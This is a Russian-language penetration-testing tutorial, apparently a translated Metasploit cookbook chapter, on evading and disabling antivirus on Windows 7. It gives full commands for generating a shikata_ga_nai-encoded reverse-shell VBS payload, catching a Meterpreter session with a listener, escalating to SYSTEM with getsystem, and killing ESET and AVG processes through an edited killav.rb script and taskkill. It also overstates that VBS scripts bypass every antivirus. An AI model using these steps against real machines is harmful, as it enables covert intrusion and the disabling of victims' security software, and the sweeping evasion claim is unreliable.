Случай 3. Здесь будем преодолевать недостатки, с которыми столкнулись в предыдущем случае. Будем генерировать скрипт на стороне клиента (client-side), а не исполняемый файл. Хорошо известным сценарием на стороне клиента для платформы Windows, является Visual Basic Script (.vbs). Эта техника может использоваться для обхода любых антивирусов, известных на сегодняшний день под управлением последней версии Windows. Причина, по которой VB-скрипты являются потенциальной угрозой для обхода антивирусов в том, что они никогда не рассматриваются антивирусными программами, как угроза. И эта является причиной, почему их подписи никогда не сопоставляются с файлом сценария VB. Давайте создадим вредоносный VB-скрипт. Для этого нам понадобятся msfpayload и msfencode.

root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 r | msfencode -e x86/shikata_ga_nai -c 20 -t vbs >.local/cmdtest2.vbs
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
.
.
.
.
[*] x86/shikata_ga_nai succeeded with size 803 (iteration=19)
[*] x86/shikata_ga_nai succeeded with size 830 (iteration=20)

Обратите внимание на небольшие изменения в команде: exe-файл был заменен на vbs и мы не использовали шаблоны, чтобы предотвратить сбои во время выполнения на стороне клиента.

Как вы, возможно, уже заметили, этот рецепт основывается исключительно на подборе различных payload'ов и кодировщиков. Чем больше вы будите пробовать различные комбинации, тем больше будет шансов на успех. Поэтому я призываю вас активно пробовать различные эксперименты и открыть свой собственный путь обхода антивирусной защиты.

В первую очередь кодировщики используются для обфускации шелл-кода, чтобы их не обнаружили антивирусы. Кодер shikata_ga_nai использует полиморфный метод XOR. Причина по которой shikata_ga_nai популярен в то, что он использует использует собственный метод декодирования. Само-расшифровка означает, что программа расшифровывает части себя во время выполнения. В идеале программа содержит только расшифровщик заглушки (stub) и зашифрованный код. Итерации еще более усложняют процесс кодирования, используя туже операцию снова и снова, чтобы сделать шелл-код для антивируса совершенно чуждым.

Использование killav.rb сценария для деактивации антивирусных программ

В предыдущем рецепте мы сосредоточились на различных методах, которые могут быть реализованы для обхода антивирусов на стороне клиента и открыть активную сессию. Ну а история на этом не заканчивается. А что если мы захотим скачать файлы с целевой системы или установить кейлоггер и т.д.? Такая деятельность может не понравиться антивирусу и он забьет тревогу. Так что, как только мы получили активную сессию, следующим шагом будет «убийство» антивируса по тихому. Убить антивирус нужно для того, чтобы наша деятельность, на целевой системе, осталась не замеченной.

В этом рецепте будем использовать некоторые скрипты, доступные в активной сессии. У нас есть целая глава, посвященная meterpreter-скриптингу, поэтому здесь сфокусируемся на быстром введении в meterpreter скриптинг, а так же посмотрим некоторые полезные команды.

Начнем с небольшого введения в meterpreter. Meterpreter является передовым/продвинутым payload'ом, что значительно повышает эффективность выполнения команд на целевой машине. Это командный интерпретатор, который работает в памяти DLL инъекции, что дает гораздо больше преимуществ по сравнению с другими интерпретаторами. В этом рецепте будем использовать windows/meterpreter/reverse_tcp payload и тестовую цель Windows 7 на которой запущен ESET NOD32.

Давайте запустим «слушателя» (listener) в msfconsole и подождем обратное соединение (back connection).

msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload =>windows/meterpreter/reverse_tcp
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh..
LHOST 192.168.56.101 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.56.101:4444
[*] Starting the payload handler...

Итак, наш слушатель готов к работе. Как только client-side атака успешно выполниться на целевой машине, у нас будет meterpreter сессия запущенная в msfconsole.

[*] Sending stage (752128 bytes) to 192.168.56.1
[*] Meterpreter session 2 opened (192.168.56.101:4444 ->192.168.56.1:49188) at 2011-11-29 13:26:55 +0530
meterpreter >

Теперь все готово для «убийства» антивируса. Первой командой, которую выполним, будет getuid, чтобы посмотреть имя пользователя системы, которую сломали. Пользователь может быть либо главным администратором, либо менее привилегированным пользователем.

meterpreter > getuid
Server username: DARKLORD-PCDARKLORD

Это не похоже на административные привилегии. Так что след. нашим нагом будет повышение привилегий в системе, чтобы мы могли выполнять команды на цели без перерыва. Воспользуемся командой getsystem, которая будет пытаться повысить привилегии с локального пользователя до администратора.

meterpreter > getsystem
...got system (via technique 4)..

Как видим getsystem успешно повысила привилегии на цели, используя 4-ю технику (KiTrap0D exploit). Можем проверить это запустив еще раз команду getuid.

meterpreter > getuid
Server username: NT AUTHORITYSYSTEM

Итак, у нас есть главные административные привилегии (SYSTEM). Следующим шагом будет запуск команды ps, которая покажет список процессов запущенных в системе. Мы должны смотреть на те процессы, которые отвечают за работу антивируса (вывод был сокращен).

PID Name User Path
--- ---- ---- ----
1060 svchost.exe NT AUTHORITYSYSTEM C:WindowsSystem32.
1096 svchost.exe NT AUTHORITYSYSTEM C:Windowssystem32.
1140 stacsv.exe NT AUTHORITYSYSTEM C:WindowsSystem32.
1152 dsmonitor.exe DARKLORD-PCDARKLORD C:Program FilesUni.
1744 egui.exe DARKLORD-PCDARKLORD C:Program FilesESETESET NOD32 Antivirusegui.exe
1832 eset.exe NT AUTHORITYSYSTEM C:Program FilesESETESET NOD32 Antiviruseset.exe

В столбцах Name и Path, можем легко определить процессы, которые принадлежат антивирусу. В нашем случае есть два процесса, отвечающие за антивирусную защиту на целевой системе. Это egui.exe и eset.exe. Теперь давайте посмотрим, как можно использовать Metasploit, чтобы «убить» эти процессы.

Meterpreter предоставляет весьма полезный скрипт killav.rb, который может быть использован, чтобы «убить» антивирусные процессы на целевой системе, и таким образом отключить его. Давайте попробуем этот скрипт на Windows 7 с запущенным антивирусом ESET NOD32.

meterpreter > run killav
[*] Killing Antivirus services on the target...

Команда run используется для выполнения Ruby-скриптов в meterpreter. После того как сценарий выполнен, снова можем проверить запущенные процессы на целевой системе для того, чтобы убедиться, что все антивирусные процессы были убиты. Если ни один из антивирусных процессов не выполняется, значит, что антивирус был временно отключен и мы может двигать дальше в процессе пентеста.

Но, что если процессы все еще выполняются? Давайте найдем решение в след. рецепте.

Более глубокий взгляд в сценарий killav.rb

Продолжая наш предыдущий рецепт, мы сосредоточились на том, как убить антивирусные процессы на целевой машине с помощью killav.rb. Но что, если процессы по-прежнему работают, или они не были убиты даже после использования сценария? Тут может быть две причины. Либо killav.rb не включает те процессы в свой ​​список, чтобы убить или процесс антивирусного приложения выполняется в качестве службы. В этом рецепте мы постараемся преодолеть эти проблемы. Так что давайте быстрее перейдем к нашему рецепту.

Мы начнем с той же meterpreter сессии, которая была предыдущем рецепте. Т.е. мы уже использовали killav.rb скрипт, но антивирусные процессы все еще работают. Посмотрим на запущенные процессы с помощью команды ps.

PID    Name          User                  Path
---    ----          ----                  ----
1060   svchost.exe   NT AUTHORITYSYSTEM   C:WindowsSystem32.
1096   svchost.exe   NT AUTHORITYSYSTEM   C:Windowssystem32.
1140   stacsv.exe    NT AUTHORITYSYSTEM   C:WindowsSystem32.
1152   dsmonitor.exe DARKLORD-PCDARKLORD  C:Program FilesUni.
1744   egui.exe      DARKLORD-PCDARKLORD  C:Program FilesESETESET NOD32 Antivirusegui.exe
1832   eset.ece      NT AUTHORITYSYSTEM   C:Program FilesESETESET NOD32 Antiviruseset.exe

Как видим, оба процесса все еще живы. Давайте посмотрим на killav.rb скрипт.

Для просмотра и редактирования killav.rb сценария, откройте новое окно терминала и перейдите в /pentest/exploits/framework3/scripts/meterpreter.

root@bt: cd /pentest/exploits/framework3/scripts/meterpreter
root@bt:/pentest/exploits/framework3/scripts/meterpreter# vim killav.rb

Нужно найти список перечисленных процессов. Это те процессы, которые знает killav.rb, чтобы убить их, т.е. если имена не совпадают, то он их просто не заметит и процессы будут продолжать работать.

@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
end
}
print_status("Killing Antivirus services on the target...")
avs = %W{
egui.exe
eset.exe
AAWTray.exe
Ad-Aware.exe
MSASCui.exe
_avp32.exe

Фрагмент кода показывает, что мы вставили имена наших процессов в начало списка. Теперь, чтобы сохранить файл, нажмите клавишу :, после чего появится мини-командная строка. Теперь введите qw для сохранения и выхода из редактора vim.

:wq

Теперь вернемся к meterpreter сессии и снова запустим killav.rb скрипт, и посмотрим что же произойдет.

meterpreter > run killav.rb
[*] Killing Antivirus services on the target...
[*] Killing off egui.exe...
[*] Killing off eset.exe...

Вывод команды показывает, что скрипт успешно убил два процесса. Теперь снова проверим процессы, с помощью команды ps (вывод сокращен).

meterpretr> ps
PID Name User Path
--- ---- ---- ----
1060 svchost.exe NT AUTHORITYSYSTEM C:WindowsSystem32.
1096 svchost.exe NT AUTHORITYSYSTEM C:Windowssystem32.
1140 stacsv.exe NT AUTHORITYSYSTEM C:WindowsSystem32.
1152 dsmonitor.exe DARKLORD-PCDARKLORD C:Program FilesUni.

Вы увидите, что нет никаких активных процессов для ESET антивируса. Это говорит о том, что скрипт успешно убил антивирусную программу. Этот пример показывает, как мы можем повысить эффективность скриптов, добавляя в них наши собственные значения.

Убийство антивирусных служб из командной строки

В предыдущем рецепте мы назвали две причины, почему процессы антивируса продолжают работать, даже после использования скрипта killav.rb. В предыдущем рецепте мы ответили на первый вопрос: потому что killav.rb скрипт не содержит не весь список имен процессов. В этом рецепте сосредоточимся на втором вопросе: антивирусная программа работает в роли службы. Прежде чем продолжать, давайте сначала уясним разницу между процессом и службой.

Процесс это часть программного обеспечения работающего на компьютере. Некоторые процессы запускаются при включении компьютера, некоторые запускаются при необходимости. Некоторые процессы есть службы, которые публикуют методы доступа к ним, чтобы другие программы могли обращаться к ним по мере необходимости. Процесс это user-based, в то время как служба это system-based.

Антивирус может запустить некоторые компоненты, в качестве службы, например служба e-mail фильтрации, web access службы и т.п. Killav.rb скрипт не может убить службу. Поэтому даже если killav.rb убил процессы, антивирусная служба может запустить его снова. Так что, если мы используем killav.rb для убийства антивирусных процессов и они все еще работают, когда запускам команду ps, то можно сделать вывод, что некоторый компонент антивируса работает в качестве службы, которая отвечает за многократный перезапуск процессов.

Начнем со сценария, в котором целевая машина это Windows 7 с запущенным антивирусом AVG 10. Предполагается, что у нас уже имеется активная meterpreter сессия с административными привилегиями.

В этом рецепте будем использовать командную строку Windows. Открыть ее можно воспользовавшись командой sell.

meterpreter > shell
Process 3324 created.
Channel 1 created.

C:WINDOWSsystem32>

Теперь воспользуемся командой tasklist для просмотра списка доступных задач. Добавляя /SVC параметр, мы будем просматривать только те процессы, которые работают в качестве служб. Так как мы знаем, что целевая система использует AVG антивирус, то можем добавить поиск по шаблону. Таким образом команда будет иметь след. вид:

C:WINDOWSsystem32> tasklist /SVC | find /I "avg"
avgchsvx.exe     260   N/A
avgrsx.exe       264   N/A
avgcsrvx.exe     616   N/A
AVGIDSAgent.exe  1664  AVGIDSAgent
avgwdsvc.exe     116   avg9wd
avgemc.exe       1728  avg9emc

Итак, у нас есть список служб и процессов для AVG антивируса. Далее воспользуемся командой taskkill, чтобы убить задачи и деактивировать антивирусную защиту.

Можем снова воспользоваться шаблонным поиском, так как в именах присутствует avg.

C:WINDOWSsystem32> taskkill /F /IM "avg*"

Параметр /F используется для силового убийства (force kill) процесса. Этот рецепт имеет множество областей для исследований. Вы можете столкнуться с некоторыми проблемами, но они могут быть преодолены после правильного набора команд.

Убийство процессов из командной строки просто вызывает вызовы ОС, которая отключает конкретную службу.

Скоро продолжение…

Специально для PentestIT Team

Автор: levinkv

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js